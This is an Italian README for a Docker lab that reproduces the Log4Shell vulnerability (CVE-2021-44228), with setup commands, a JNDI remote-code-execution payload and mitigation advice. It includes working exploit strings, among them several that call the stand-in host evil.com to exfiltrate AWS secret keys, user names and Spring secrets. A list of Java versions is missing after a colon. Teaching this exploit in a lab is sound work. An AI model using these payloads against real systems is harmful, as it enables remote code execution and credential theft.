
Laboratorio docker Log4Shell (CVE-2021-44228)
Questo laboratorio docker utilizza tre componenti, ovvero:
docker network create log4shell
$ docker build -t log4shell-vulnapp vulnapp
$ docker build -t log4shell-httpserver httpserver
$ docker build -t log4shell-marshalsec marshalsec
Nota importante: Se si utilizza Windows PowerShell, sostituire $(pwd) con ${pwd}.
$ docker run -d --name log4shell-vulnapp --network="log4shell" -p 8080:8080 log4shell-vulnapp
$ docker run -d --name log4shell-httpserver --network="log4shell" -p 3223:3223 -v $(pwd)/httpserver:/httpserver log4shell-httpserver
$ docker run -d --name log4shell-marshalsec --network="log4shell" -p 1389:1389 log4shell-marshalsec "http://<HostIp>:<Port>/#<RCEObjectName>"
Aprire l'applicazione vulnerabile, inserire delle credenziali di test false e aprire i log del container log4shell-vulnapp. Si può notare che l'applicazione registra i tentativi di accesso non riusciti (ad es., Tentativo di accesso non riuscito per il nome utente 'test'). Da questo piccolo esperimento si evince che abbiamo il controllo su una parte della stringa registrata nei log (cioè il nome utente).
Possiamo inviare un payload come il seguente per eseguire codice da remoto:
${jndi:ldap://<HostIp>:1389/<RCEObjectName>}
L'esecuzione remota del codice può essere effettuata su qualsiasi versione di Java; tuttavia, le macchine con versioni di Java precedenti al seguente elenco [1]:
Ciò è dovuto al fatto che le versioni successive impostano la proprietà di sistema della JVM com.sun.jndi.ldap.object.trustURLCodebase su false per impostazione predefinita, il che disabilita il caricamento JNDI di classi da codebase URL arbitrari. Tuttavia, affidarsi solo a una nuova versione di Java come protezione contro questa vulnerabilità è rischioso, poiché la vulnerabilità potrebbe essere comunque sfruttata su macchine che contengono determinate classi "gadget" nel classpath dell'applicazione vulnerabile e le query DNS possono essere utilizzate per ottenere informazioni come le variabili d'ambiente.
Esistono diverse sostituzioni di lookup che rivelano informazioni sensibili dalla macchina vittima. In particolare, utilizzando un payload simile a [2, 3]:
${jndi:ldap://${env:AWS_SECRET_ACCESS_KEY}.evil.com/foo}
${jndi:ldap://${sys:user.name}.evil.com/foo}
${jndi:ldap://${main:x}.evil.com/foo}
${jndi:ldap://${spring:supersecretkey}.evil.com/foo}
Nota: La stringa di attacco tramite spring lookup richiede che log4j-spring-cloud-config-client sia incluso nell'applicazione. [2]
Il modo migliore per mitigare questa grave vulnerabilità è aggiornare log4j2 a una versione >= 2.17.0. Tuttavia, è possibile mitigare completamente il problema senza aggiornare, utilizzando due metodi diversi. Si raccomanda vivamente ai fornitori che non possono aggiornare a una versione più recente di Log4j2 di utilizzare entrambi i metodi di mitigazione indicati di seguito [1].
La disabilitazione dei lookup può essere effettuata (a livello globale) impostando la variabile d'ambiente LOG4J_FORMAT_MSG_NO_LOOKUPS su true modificando il file /etc/environment e aggiungendo: LOG4J_FORMAT_MSG_NO_LOOKUPS=true [1]
In alternativa, i lookup possono essere disabilitati per una specifica invocazione della JVM aggiungendo il seguente flag da riga di comando quando si esegue l'applicazione Java vulnerabile: ‐Dlog4j2.formatMsgNoLookups=True [1]
Quando si utilizza una versione di log4j precedente alla 2.10.0, è possibile rimuovere la classe JndiLookup da qualsiasi applicazione Java.
[1] Menashe, S., (2021). Tutto sulla vulnerabilità zero-day Log4Shell - CVE-2021-44228. [online] JFrog. Disponibile su: https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know [Consultato il 24 dicembre 2021].
[2] Goers, R., (2021). Log4j – I lookup di Log4j 2. [online] logging.apache.org. Disponibile su: https://logging.apache.org/log4j/2.x/manual/lookups.html [Consultato il 24 dicembre 2021].
[3] Oracle. (2021). Proprietà di sistema. [online] Disponibile su: https://docs.oracle.com/javase/tutorial/essential/environment/sysprop.html [Consultato il 24 dicembre 2021].